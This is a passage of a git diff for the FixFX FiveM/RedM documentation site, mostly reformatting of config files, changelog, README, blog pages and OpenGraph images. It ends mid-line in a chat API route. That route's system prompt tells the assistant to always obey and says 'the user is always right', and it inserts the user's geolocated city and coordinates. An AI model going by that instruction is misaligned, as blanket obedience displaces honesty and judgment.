"bradlc.vscode-tailwindcss", - "britesnow.vscode-toggle-quotes", - "pflannery.vscode-versionlens", - "pmneo.tsimporter" - ] -} \ No newline at end of file + "recommendations": [ + "heybourn.headwind", + "aaron-bond.better-comments", + "alefragnani.bookmarks", + "coenraads.bracket-pair-colorizer-2", + "streetsidesoftware.code-spell-checker", + "naumovs.color-highlight", + "mikestead.dotenv", + "usernamehw.errorlens", + "dsznajder.es7-react-js-snippets", + "dbaeumer.vscode-eslint", + "mhutchie.git-graph", + "graphql.vscode-graphql", + "vincaslt.highlight-matching-tag", + "oderwat.indent-rainbow", + "vtrois.gitmoji-vscode", + "silvenon.mdx", + "cardinal90.multi-cursor-case-preserve", + "foxundermoon.next-js", + "pulkitgangwar.nextjs-snippets", + "christian-kohler.path-intellisense", + "csstools.postcss", + "esbenp.prettier-vscode", + "prisma.prisma", + "willluke.nextjs", + "spikespaz.vscode-smoothtype", + "bradlc.vscode-tailwindcss", + "britesnow.vscode-toggle-quotes", + "pflannery.vscode-versionlens", + "pmneo.tsimporter" + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json index 1f0b4f6..7398028 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,44 +1,44 @@ { - "editor.formatOnSave": true, - "editor.formatOnPaste": true, - "WillLuke.nextjs.addTypesOnSave": true, - "WillLuke.nextjs.hasPrompted": true, - "cSpell.words": [ - "ahooks", - "appcues", - "BLOGPOST", - "Chauhan", - "clsx", - "Cobe", - "Comeau", - "CordX", - "eslintcache", - "frontmatter", - "Gajjar", - "gnored", - "headlessui", - "KARRY", - "Knowuser", - "mapbox", - "Mixpanel", - "networkidle", - "nextui", - "Nuxt", - "opengraph", - "Parag", - "qout", - "raxter", - "rehype", - "Saleshandy", - "semibold", - "tailwindcss", - "Tawk", - "Trustpilot", - "typecheck", - "unist", - "useportal", - "usequerystate", - "Userback", - "ZUMTHOR" - ] -} \ No newline at end of file + "editor.formatOnSave": true, + "editor.formatOnPaste": true, + "WillLuke.nextjs.addTypesOnSave": true, + "WillLuke.nextjs.hasPrompted": true, + "cSpell.words": [ + "ahooks", + "appcues", + "BLOGPOST", + "Chauhan", + "clsx", + "Cobe", + "Comeau", + "CordX", + "eslintcache", + "frontmatter", + "Gajjar", + "gnored", + "headlessui", + "KARRY", + "Knowuser", + "mapbox", + "Mixpanel", + "networkidle", + "nextui", + "Nuxt", + "opengraph", + "Parag", + "qout", + "raxter", + "rehype", + "Saleshandy", + "semibold", + "tailwindcss", + "Tawk", + "Trustpilot", + "typecheck", + "unist", + "useportal", + "usequerystate", + "Userback", + "ZUMTHOR" + ] +} diff --git a/CHANGELOG.md b/CHANGELOG.md index b155abf..a7f825a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added #### Hosting Providers & Partnerships System + - **Directory-Based Provider Structure** - Reorganized provider files into subdirectories - Moved from flat `provider-name.json` to `provider-name/provider.json` structure - Allows schemas and documentation to coexist with provider data @@ -34,6 +35,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fallback mechanisms and validation strategies #### StepList Component Enhancements + - **Image Support** - Steps can now include images with positioning - Added `image`, `imageAlt`, and `imagePosition` props - Images are zoomable using fumadocs ImageZoom component @@ -47,6 +49,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Styled consistently with InfoBanner component #### SEO and Modern Web Standards + - **LLMs.txt** - AI crawler documentation files - `/llms.txt` - Summary for AI models - `/llms-full.txt` - Comprehensive documentation for LLMs @@ -66,11 +69,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **AI Crawler Rules** - Added rules for GPTBot, Claude-Web, ChatGPT-User, Anthropic-AI, PerplexityBot, Cohere-AI in robots.txt #### Dynamic Icons + - **App Icon** - Dynamic 512x512 icon with gradient background (`app/icon.tsx`) - **Apple Touch Icon** - Dynamic 180x180 icon for iOS (`app/apple-icon.tsx`) - **Brand Page** - `/brand` page displaying icon with download buttons #### Documentation + - **Discord Bot Guide** - Comprehensive txAdmin Discord bot setup documentation - Bot creation and permissions - Configuration options @@ -78,7 +83,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Troubleshooting section - **Comprehensive txAdmin Documentation Suite** - 10 new in-depth guides covering all txAdmin features - **API Events** (`api-events.mdx`) - Complete CFX events documentation with 17 event types, properties, Lua examples, and best practices - - **Environment Configuration** (`env-config.mdx`) - TXHOST_* environment variables for GSP and advanced deployments + - **Environment Configuration** (`env-config.mdx`) - TXHOST\_\* environment variables for GSP and advanced deployments - **Discord Status Embed** (`discord-status.mdx`) - Custom Discord persistent status configuration with placeholders - **Development Guide** (`development.mdx`) - Setup, workflows, and architecture for txAdmin development - **In-Game Menu** (`menu.mdx`) - Menu access, ConVars, commands, and troubleshooting guide @@ -92,10 +97,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Links render as clickable anchors with proper styling #### GitHub Community Files + - **SECURITY.md** - Vulnerability reporting process and response timeline - **CODE_OF_CONDUCT.md** - Community guidelines based on Contributor Covenant #### Developer Tooling + - **Husky** - Git hooks for automated checks - Pre-commit hook running lint-staged - Commit-msg hook running commitlint @@ -109,11 +116,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Custom entry points and path aliases #### Artifacts Page Enhancements + - **Hosting Panel Version Strings** - Added Pterodactyl/Pelican version support - Accordion section in featured cards showing full version string (e.g., `24769-315823736cfbc085104ca0d32779311cd2f1a5a8`) - Quick copy button with Terminal icon on artifact list items - Compatible with Pterodactyl, Pelican, and similar hosting panel egg configurations - - **Artifact Stats from API** - Stats cards now show full totals from backend - Total, Recommended, Latest, Active, EOL counts reflect all filtered results - Previously only showed counts for current page @@ -130,6 +137,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Used for hosting panel version sections #### Hosting Page Improvements + - **Hosting Provider Card Redesign** - Enhanced provider listing with improved UX - Added loading state skeletons using CSS animations for performance - Non-blocking state transitions for data fetching @@ -139,6 +147,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Proper icon imports and styling consistency ### Fixed + - **EOL filter parameter** - Fixed `includeEol` not being sent when set to "No" - Now always sends `includeEol` parameter explicitly to backend - Previously only sent when true, causing backend default (true) to override UI setting @@ -175,6 +184,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated Discord invite links to official server (`discord.gg/eWhDDVCpPn`) #### Styling & CSS Enhancements + - **Comprehensive CSS System** - Major expansion of `globals.css` with reusable utilities - **Custom Scrollbar** - Sleek, minimal scrollbar styling with `.custom-scrollbar` - **Gradient Text** - Utilities: `text-gradient-blue`, `text-gradient-purple`, `text-gradient-green`, `text-gradient-orange` @@ -196,6 +206,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **Z-Index Scale** - Structured z-index system from `z-behind` to `z-tooltip` #### Animations + - **New Animation Utilities** - Smooth, performant CSS animations - `animate-fade-in` - Fade in effect - `animate-slide-up` / `animate-slide-down` - Slide animations @@ -209,6 +220,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **Link Underline** - `link-underline` with animated underline on hover ### Changed + - Updated `txAdmin Windows Install` guide with StepList images and alerts - Updated to `NextJS v15.5.9` as it is the latest stable `15.x` version not requiring significant changes - Enhanced sitemap with blog posts and improved priority structure @@ -217,6 +229,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added `knip.json` configuration for dead code detection ### Fixed + - **Next.js 15 Dynamic Params** - Fixed `params` must be awaited error in `/docs/[...slug]/page.tsx` - Changed `params` type from `{ slug?: string[] }` to `Promise<{ slug?: string[] }>` - Added `const { slug } = await params;` before accessing properties @@ -231,6 +244,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added #### Backend Integration + - **Go Backend API Integration** - Complete frontend migration to use Go backend services - Artifacts API endpoint integration (`/api/artifacts`) - Natives API endpoint integration (`/api/natives`) @@ -241,6 +255,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Development override support for local backend #### Analytics + - **Ackee Analytics Integration** - User tracking and analytics - Added Ackee tracker script to root layout - Server: `https://ackee.bytebrush.dev` @@ -248,6 +263,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Automatic page view and interaction tracking #### Documentation + - **API Documentation Updates** - Complete rewrite for Go backend - `content/docs/core/api/artifacts.mdx` - Artifacts API documentation - `content/docs/core/api/natives.mdx` - Natives API documentation with usage examples @@ -258,11 +274,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed #### Components + - **FileSource Component** - Server component that reads and displays source code files directly in documentation - Located at `app/components/file-source.tsx` - Supports syntax highlighting via DynamicCodeBlock - Fetches file content through secure API route - - **ImageModal Component** - Click-to-expand image viewer for better mobile experience - Located at `app/components/image-modal.tsx` - Uses React Portal to render above all content @@ -275,12 +291,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Optional title bar display #### API Routes + - **Source API** (`/api/source`) - Securely serves file contents for documentation - Whitelisted paths for security (`lib/artifacts/`, `packages/`) - Prevents path traversal attacks - Returns file contents as JSON #### Documentation + - **txAdmin Windows Installation Guide** (`content/docs/txadmin/windows/install.mdx`) - Complete step-by-step installation process - PowerShell commands for artifact download @@ -317,6 +335,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Troubleshooting common issues #### Animations + - **Indeterminate Progress Animation** - Added loading animation for Progress component - Added `indeterminate-progress` keyframes to `tailwind.config.ts` - Smooth left-to-right loading animation @@ -324,12 +343,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed #### Components + - **Progress Component** (`packages/ui/src/components/progress.tsx`) - Added `indeterminate` prop support - Uses Tailwind animation class instead of inline CSS - Properly handles both determinate and indeterminate states #### Documentation Cleanup + - **vMenu Documentation** - Removed fabricated information - Removed fake build numbers and version requirements - Removed incorrect convar names that don't exist @@ -385,8 +406,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## Version History -| Version | Date | Description | -|---------|------|-------------| -| 1.0.0 | 2026-01-25 | Initial rewrite with documentation cleanup, new components, and txAdmin guides | +| Version | Date | Description | +| ------- | ---------- | ------------------------------------------------------------------------------ | +| 1.0.0 | 2026-01-25 | Initial rewrite with documentation cleanup, new components, and txAdmin guides | --- diff --git a/README.md b/README.md index 2ce4076..0cea8f8 100644 --- a/README.md +++ b/README.md @@ -5,8 +5,8 @@ A documentation platform for FiveM, RedM, and the CitizenFX ecosystem. Guides, tutorials, native references, and tools for server developers. -> [!INFO] ->FixFX is an independent community project. It is not affiliated with or endorsed by Cfx.re, Rockstar Games, txAdmin, Take-Two Interactive or any other entities referenced throughout the documentation. +> [!CAUTION] +> FixFX is an independent community project. It is not affiliated with or endorsed by Cfx.re, Rockstar Games, txAdmin, Take-Two Interactive or any other entities referenced throughout the documentation. ## Features @@ -90,7 +90,7 @@ This project includes a partnership program for hosting providers offering exclu ### For Server Owners -Visit the [Hosting Partners page](/hosting) to browse verified hosting providers with exclusive FixFX discounts: +Visit the [Hosting Partners page](https://fixfx.wiki/hosting) to browse verified hosting providers with exclusive FixFX discounts: - **Affiliate Partners**: Providers with exclusive discount codes (e.g., ZAP-Hosting with 20% off) - **Trusted Hosts**: Automatically curated list from [fivem.net/server-hosting](https://fivem.net/server-hosting) @@ -102,7 +102,7 @@ We're always looking for quality hosting providers interested in partnerships. H ✅ **Reach**: Exposure to thousands of FiveM/RedM server owners ✅ **Trust**: Featured on our dedicated hosting page ✅ **Tracking**: Affiliate links for conversion attribution -✅ **Support**: Community visibility and marketing assistance +✅ **Support**: Community visibility and marketing assistance #### Partnership Requirements & Code of Conduct @@ -117,7 +117,7 @@ Your hosting service should meet these criteria: #### How to Apply -1. **Review** the [Provider Guidelines & Code of Conduct](./packages/providers/GUIDELINES.md) +1. **Review** the [Provider Guidelines & Code of Conduct](./packages/providers/GUIDELINES.md) 2. **Read** the [Partnership Requirements & Process](./packages/providers/README.md) 3. **Create** your provider directory with `provider.json` 4. **Submit** a Pull Request to `frontend/packages/providers/` @@ -163,6 +163,7 @@ Your hosting service should meet these criteria: - **CI/CD Integration**: Automatic PR creation for provider updates For detailed information, see: + - [Provider Guidelines & Code of Conduct](./packages/providers/GUIDELINES.md) - Standards and expectations - [Partnership Requirements & Process](./packages/providers/README.md) - Detailed how-to guide - [Trusted Hosts Documentation](./packages/providers/TRUSTED_HOSTS_README.md) - Automation details @@ -185,4 +186,4 @@ Contributions are welcome. Please read our [Contributing Guide](.github/CONTRIBU ## License -This project is licensed under the AGPL 3.0 License. See the [LICENSE](LICENSE) file for details. \ No newline at end of file +This project is licensed under the AGPL 3.0 License. See the [LICENSE](LICENSE) file for details. diff --git a/app/(blog)/blog/(root)/layout.tsx b/app/(blog)/blog/(root)/layout.tsx index 796d68a..04950f0 100644 --- a/app/(blog)/blog/(root)/layout.tsx +++ b/app/(blog)/blog/(root)/layout.tsx @@ -7,9 +7,5 @@ export default function BlogLayout({ }: Readonly<{ children: ReactNode; }>): React.ReactElement { - return ( - - {children} - - ); + return {children}; } diff --git a/app/(blog)/blog/(root)/page.tsx b/app/(blog)/blog/(root)/page.tsx index c5350a9..1c31c68 100644 --- a/app/(blog)/blog/(root)/page.tsx +++ b/app/(blog)/blog/(root)/page.tsx @@ -12,13 +12,16 @@ export default function BlogPage() {
- Latest Articles + + Latest Articles +

FixFX Blog

- News, guides, and insights from the FixFX community. Learn best practices, get updates, and discover new features. + News, guides, and insights from the FixFX community. Learn best + practices, get updates, and discover new features.

@@ -40,10 +43,10 @@ export default function BlogPage() {
- {new Date(post.data.date).toLocaleDateString('en-US', { - month: 'short', - day: 'numeric', - year: 'numeric' + {new Date(post.data.date).toLocaleDateString("en-US", { + month: "short", + day: "numeric", + year: "numeric", })}
@@ -72,7 +75,9 @@ export default function BlogPage() { {/* Empty state */} {posts.length === 0 && (
-

No posts yet. Check back soon for new content!

+

+ No posts yet. Check back soon for new content! +

)}

diff --git a/app/(blog)/blog/[slug]/page.tsx b/app/(blog)/blog/[slug]/page.tsx index f51d207..48e00da 100644 --- a/app/(blog)/blog/[slug]/page.tsx +++ b/app/(blog)/blog/[slug]/page.tsx @@ -26,11 +26,13 @@ export default async function BlogPost(props: {
- {new Date(page.data.date).toLocaleDateString('en-US', { - month: 'short', - day: 'numeric', - year: 'numeric' - })} + + {new Date(page.data.date).toLocaleDateString("en-US", { + month: "short", + day: "numeric", + year: "numeric", + })} + {page.data.author && ( <> @@ -54,16 +56,22 @@ export default async function BlogPost(props: {
-

Written by

-

{page.data.author}

+

+ Written by +

+

+ {page.data.author} +

-

Published

+

+ Published +

- {new Date(page.data.date).toLocaleDateString('en-US', { - month: 'long', - day: 'numeric', - year: 'numeric' + {new Date(page.data.date).toLocaleDateString("en-US", { + month: "long", + day: "numeric", + year: "numeric", })}

diff --git a/app/(blog)/blog/atom.xml/route.ts b/app/(blog)/blog/atom.xml/route.ts index 8812575..d5ba57a 100644 --- a/app/(blog)/blog/atom.xml/route.ts +++ b/app/(blog)/blog/atom.xml/route.ts @@ -3,7 +3,7 @@ import { DOCS_URL } from "@utils/index"; export async function GET() { const posts = blogPosts.getPages(); - + const feed = ` FixFX Blog @@ -20,7 +20,10 @@ export async function GET() { ${DOCS_URL}/logo.png © ${new Date().getFullYear()} FixFX. All rights reserved. ${posts - .sort((a, b) => new Date(b.data.date).getTime() - new Date(a.data.date).getTime()) + .sort( + (a, b) => + new Date(b.data.date).getTime() - new Date(a.data.date).getTime(), + ) .map( (post) => ` @@ -33,7 +36,7 @@ export async function GET() { ${post.data.author} - ` + `, ) .join("")} `; diff --git a/app/(blog)/blog/feed.json/route.ts b/app/(blog)/blog/feed.json/route.ts index 9b1b97c..3d0b95c 100644 --- a/app/(blog)/blog/feed.json/route.ts +++ b/app/(blog)/blog/feed.json/route.ts @@ -3,13 +3,14 @@ import { DOCS_URL } from "@utils/index"; export async function GET() { const posts = blogPosts.getPages(); - + const feed = { version: "https://jsonfeed.org/version/1.1", title: "FixFX Blog", home_page_url: DOCS_URL, feed_url: `${DOCS_URL}/blog/feed.json`, - description: "News, tutorials, and updates for the FiveM, RedM, and CitizenFX community", + description: + "News, tutorials, and updates for the FiveM, RedM, and CitizenFX community", icon: `${DOCS_URL}/android-chrome-512x512.png`, favicon: `${DOCS_URL}/favicon-32x32.png`, authors: [ @@ -20,7 +21,10 @@ export async function GET() { ], language: "en-US", items: posts - .sort((a, b) => new Date(b.data.date).getTime() - new Date(a.data.date).getTime()) + .sort( + (a, b) => + new Date(b.data.date).getTime() - new Date(a.data.date).getTime(), + ) .map((post) => ({ id: `${DOCS_URL}/blog/${post.slugs.join("/")}`, url: `${DOCS_URL}/blog/${post.slugs.join("/")}`, diff --git a/app/(blog)/blog/feed.xml/route.ts b/app/(blog)/blog/feed.xml/route.ts index ec1c9b6..34a22a2 100644 --- a/app/(blog)/blog/feed.xml/route.ts +++ b/app/(blog)/blog/feed.xml/route.ts @@ -3,7 +3,7 @@ import { DOCS_URL } from "@utils/index"; export async function GET() { const posts = blogPosts.getPages(); - + const feed = ` @@ -19,7 +19,10 @@ export async function GET() { ${DOCS_URL} ${posts - .sort((a, b) => new Date(b.data.date).getTime() - new Date(a.data.date).getTime()) + .sort( + (a, b) => + new Date(b.data.date).getTime() - new Date(a.data.date).getTime(), + ) .map( (post) => ` @@ -29,7 +32,7 @@ export async function GET() { ${post.data.author} ${new Date(post.data.date).toUTCString()} - ` + `, ) .join("")} diff --git a/app/(blog)/opengraph-image.tsx b/app/(blog)/opengraph-image.tsx index b387202..623048b 100644 --- a/app/(blog)/opengraph-image.tsx +++ b/app/(blog)/opengraph-image.tsx @@ -11,120 +11,121 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+ + {/* Icon */}
- {/* Background gradient orbs */} -
-
+ ✍️ +
- {/* Icon */} -
+ - ✍️ -
- - {/* Main title */} -
+ - - Fix - - - FX - - - Blog - -
- - {/* Subtitle */} -

+ - Latest updates, tutorials, and insights from the FiveM community -

+ Blog +
- ), + + {/* Subtitle */} +

+ Latest updates, tutorials, and insights from the FiveM community +

+
, { ...size, - } + }, ); } diff --git a/app/(blog)/twitter-image.tsx b/app/(blog)/twitter-image.tsx index 29b0384..29fc779 100644 --- a/app/(blog)/twitter-image.tsx +++ b/app/(blog)/twitter-image.tsx @@ -11,90 +11,90 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orb */} +
+ + {/* Icon */} +
+ ✍️ +
+ + {/* Main title */}
- {/* Background gradient orb */} -
- - {/* Icon */} -
- ✍️ -
- - {/* Main title */} -
+ - - Fix - - - FX - -
- - {/* Subtitle */} -

- Blog -

+ FX +
- ), + + {/* Subtitle */} +

+ Blog +

+
, { ...size, - } + }, ); } diff --git a/app/(docs)/docs/[...slug]/page.tsx b/app/(docs)/docs/[...slug]/page.tsx index 42fffff..a587eca 100644 --- a/app/(docs)/docs/[...slug]/page.tsx +++ b/app/(docs)/docs/[...slug]/page.tsx @@ -18,10 +18,10 @@ export default async function Page({ params: Promise<{ slug?: string[] }>; }) { const { slug } = await params; - + // Redirect to overview if no slug is provided (root /docs path) if (!slug || slug.length === 0) { - return source.getPage(['overview']); + return source.getPage(["overview"]); } const page = source.getPage(slug); @@ -35,7 +35,7 @@ export default async function Page({ full={page.data.full} lastUpdate={page.data.lastModified} tableOfContent={{ - style: 'clerk', + style: "clerk", single: false, }} > @@ -45,8 +45,9 @@ export default async function Page({ props.src ? : null, - Editor: Editor + img: (props) => + props.src ? : null, + Editor: Editor, }} /> diff --git a/app/(docs)/docs/layout.tsx b/app/(docs)/docs/layout.tsx index 73dcac9..9e7feb1 100644 --- a/app/(docs)/docs/layout.tsx +++ b/app/(docs)/docs/layout.tsx @@ -1,5 +1,5 @@ import { DocsLayout, type DocsLayoutProps } from "fumadocs-ui/layouts/docs"; -import { GithubInfo } from '@ui/components/githubInfo'; +import { GithubInfo } from "@ui/components/githubInfo"; import { baseOptions } from "@/app/layout.config"; import { FixFXIcon } from "@ui/icons"; import { source } from "@/lib/docs/source"; @@ -11,13 +11,15 @@ export const metadata: Metadata = { default: "Documentation", template: "%s | FixFX Docs", }, - description: "Comprehensive documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem. Guides, tutorials, and API references.", + description: + "Comprehensive documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem. Guides, tutorials, and API references.", alternates: { canonical: "https://fixfx.wiki/docs", }, openGraph: { title: "FixFX Documentation", - description: "Comprehensive documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem.", + description: + "Comprehensive documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem.", url: "https://fixfx.wiki/docs", type: "website", }, diff --git a/app/(docs)/opengraph-image.tsx b/app/(docs)/opengraph-image.tsx index 7d5909c..a1b2cab 100644 --- a/app/(docs)/opengraph-image.tsx +++ b/app/(docs)/opengraph-image.tsx @@ -11,145 +11,146 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+ + {/* Icon */}
- {/* Background gradient orbs */} -
-
+ 📚 +
- {/* Icon */} -
+ - 📚 -
- - {/* Main title */} -
+ - - Fix - - - FX - - - Docs - -
- - {/* Subtitle */} -

+ - Comprehensive guides and tutorials for the CitizenFX ecosystem -

+ Docs + +
- {/* Tags */} -
- {["FiveM", "RedM", "txAdmin", "vMenu"].map((tag) => ( -
- {tag} -
- ))} -
+ {/* Subtitle */} +

+ Comprehensive guides and tutorials for the CitizenFX ecosystem +

+ + {/* Tags */} +
+ {["FiveM", "RedM", "txAdmin", "vMenu"].map((tag) => ( +
+ {tag} +
+ ))}
- ), +
, { ...size, - } + }, ); } diff --git a/app/(docs)/twitter-image.tsx b/app/(docs)/twitter-image.tsx index 0dce458..3f08902 100644 --- a/app/(docs)/twitter-image.tsx +++ b/app/(docs)/twitter-image.tsx @@ -11,90 +11,90 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orb */} +
+ + {/* Icon */} +
+ 📚 +
+ + {/* Main title */}
- {/* Background gradient orb */} -
- - {/* Icon */} -
- 📚 -
- - {/* Main title */} -
+ - - Fix - - - FX - -
- - {/* Subtitle */} -

- Documentation -

+ FX +
- ), + + {/* Subtitle */} +

+ Documentation +

+
, { ...size, - } + }, ); } diff --git a/app/(landing)/docs/overview/page.tsx b/app/(landing)/docs/overview/page.tsx index 18dedbd..7657648 100644 --- a/app/(landing)/docs/overview/page.tsx +++ b/app/(landing)/docs/overview/page.tsx @@ -1,6 +1,19 @@ -import { Card, CardHeader, CardTitle, CardDescription } from "@ui/components/card"; +import { + Card, + CardHeader, + CardTitle, + CardDescription, +} from "@ui/components/card"; import { FaDiscord, FaGithub } from "react-icons/fa"; -import { LucideBook, Wrench, Terminal, Package, Settings, Code, Info } from "lucide-react"; +import { + LucideBook, + Wrench, + Terminal, + Package, + Settings, + Code, + Info, +} from "lucide-react"; import { DISCORD_LINK, GITHUB_LINK } from "@/packages/utils/src"; import Link from "next/link"; @@ -10,57 +23,58 @@ const sections = [ description: "Learn the basics of FixFX and CitizenFX development.", icon: , href: "/docs/core", - color: "bg-blue-500/10 text-blue-500" + color: "bg-blue-500/10 text-blue-500", }, { title: "CitizenFX Platform", description: "Understand the CitizenFX platform and its components.", icon: , href: "/docs/cfx", - color: "bg-orange-500/10 text-orange-500" + color: "bg-orange-500/10 text-orange-500", }, { title: "Common Tools", description: "Essential tools for FiveM server development and management.", icon: , href: "/docs/cfx/common-tools", - color: "bg-green-500/10 text-green-500" + color: "bg-green-500/10 text-green-500", }, { title: "Error Guides", description: "Solutions for common errors and troubleshooting guides.", icon: , href: "/docs/cfx/common-errors", - color: "bg-red-500/10 text-red-500" + color: "bg-red-500/10 text-red-500", }, { title: "Best Practices", - description: "Learn recommended practices for development and server management.", + description: + "Learn recommended practices for development and server management.", icon: , href: "/docs/cfx/best-practices", - color: "bg-purple-500/10 text-purple-500" + color: "bg-purple-500/10 text-purple-500", }, { title: "Resource Development", description: "Guides for developing FiveM resources and scripts.", icon: , href: "/docs/cfx/resource-development", - color: "bg-yellow-500/10 text-yellow-500" + color: "bg-yellow-500/10 text-yellow-500", }, { title: "Frameworks", description: "Explore popular frameworks like ESX, QBCore, and vRP.", icon: , href: "/docs/frameworks", - color: "bg-teal-500/10 text-teal-500" + color: "bg-teal-500/10 text-teal-500", }, { title: "Guides", description: "In-depth guides on various aspects of FiveM development.", icon: , href: "/docs/guides", - color: "bg-gray-500/10 text-gray-500" - } + color: "bg-gray-500/10 text-gray-500", + }, ]; export default function DocsPage() { @@ -70,7 +84,8 @@ export default function DocsPage() {

Documentation

- Explore our comprehensive documentation covering everything from basic concepts to advanced development techniques. + Explore our comprehensive documentation covering everything from + basic concepts to advanced development techniques.

diff --git a/app/(landing)/opengraph-image.tsx b/app/(landing)/opengraph-image.tsx index 7160feb..7868c8f 100644 --- a/app/(landing)/opengraph-image.tsx +++ b/app/(landing)/opengraph-image.tsx @@ -11,169 +11,180 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+
+ + {/* Badge */}
- {/* Background gradient orbs */} -
-
-
+
+ + Open Source Documentation + +
- {/* Badge */} -
+ -
- - Open Source Documentation - -
- - {/* Main title */} -
+ - +
+ + {/* Subtitle */} +

+ Your comprehensive resource for{" "} + FiveM,{" "} + RedM, and + the{" "} + CitizenFX{" "} + ecosystem. +

+ + {/* Bottom indicators */} +
+
+
- Fix + /> + + Free & Open Source - +
+
- FX + /> + + Community Driven
- - {/* Subtitle */} -

- Your comprehensive resource for FiveM,{" "} - RedM, and the{" "} - CitizenFX ecosystem. -

- - {/* Bottom indicators */} -
-
-
- Free & Open Source -
-
-
- Community Driven -
-
-
- Always Updated -
+
+
+ + Always Updated +
- ), +
, { ...size, - } + }, ); } diff --git a/app/(landing)/page.tsx b/app/(landing)/page.tsx index 2b93334..4bc12df 100644 --- a/app/(landing)/page.tsx +++ b/app/(landing)/page.tsx @@ -7,13 +7,15 @@ import type { Metadata } from "next"; export const metadata: Metadata = { title: "FixFX - FiveM & RedM Documentation Hub", - description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem. Your one-stop resource for server development.", + description: + "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem. Your one-stop resource for server development.", alternates: { canonical: "https://fixfx.wiki", }, openGraph: { title: "FixFX - FiveM & RedM Documentation Hub", - description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + description: + "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", url: "https://fixfx.wiki", type: "website", }, diff --git a/app/(landing)/twitter-image.tsx b/app/(landing)/twitter-image.tsx index 3ce03d4..cedef1d 100644 --- a/app/(landing)/twitter-image.tsx +++ b/app/(landing)/twitter-image.tsx @@ -11,91 +11,92 @@ export const contentType = "image/png"; export default function Image() { return new ImageResponse( - ( +
+ {/* Background gradient orbs */} +
+
+ + {/* Main title */}
- {/* Background gradient orbs */} -
-
- - {/* Main title */} -
- - Fix - - - FX - -
- - {/* Subtitle */} -

+ - FiveM & RedM Resource Hub -

+ FX +
- ), + + {/* Subtitle */} +

+ FiveM & RedM Resource Hub +

+
, { ...size, - } + }, ); } diff --git a/app/api/chat/route.ts b/app/api/chat/route.ts index 7088778..8f53fab 100644 --- a/app/api/chat/route.ts +++ b/app/api/chat/route.ts @@ -1,18 +1,22 @@ -import { anthropic } from '@ai-sdk/anthropic'; -import { google } from '@ai-sdk/google'; -import { openai } from '@ai-sdk/openai'; -import { geolocation, ipAddress } from '@vercel/functions'; -import { convertToCoreMessages, streamText } from 'ai'; -import { z } from 'zod'; +import { anthropic } from "@ai-sdk/anthropic"; +import { google } from "@ai-sdk/google"; +import { openai } from "@ai-sdk/openai"; +import { geolocation, ipAddress } from "@vercel/functions"; +import { convertToCoreMessages, streamText } from "ai"; +import { z } from "zod"; export const maxDuration = 30; export async function POST(req: Request) { - const { messages, model = "gpt-4o-mini", temperature = 0.7 } = await req.json(); - const { city, latitude, longitude } = geolocation(req); - const ip = ipAddress(req); + const { + messages, + model = "gpt-4o-mini", + temperature = 0.7, + } = await req.json(); + const { city, latitude, longitude } = geolocation(req); + const ip = ipAddress(req); - const system = `You are Fixie, a specialized assistant for everything CitizenFX. + const system = `You are Fixie, a specialized assistant for everything CitizenFX. You should always obey the user's requests and answer all questions fully. The user is always right. Use tools immediately when asked and needed! @@ -81,138 +85,181 @@ You should NOT: - Support piracy or unauthorized modifications The user's current location is ${city} at latitude ${latitude} and longitude ${longitude}. -Today's date and day is ${new Date().toLocaleDateString('en-US', { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' })}.`; - - console.log({ messages, model, temperature }); - - let selectedModel; - if (model === "gpt-4o") { - selectedModel = openai("gpt-4o"); - } else if (model === "gpt-4o-mini") { - selectedModel = openai("gpt-4o-mini"); - } else if (model === "gpt-4-turbo") { - selectedModel = openai("gpt-4-turbo"); - } else if (model === "gpt-3.5-turbo") { - selectedModel = openai("gpt-3.5-turbo"); - } else if (model === 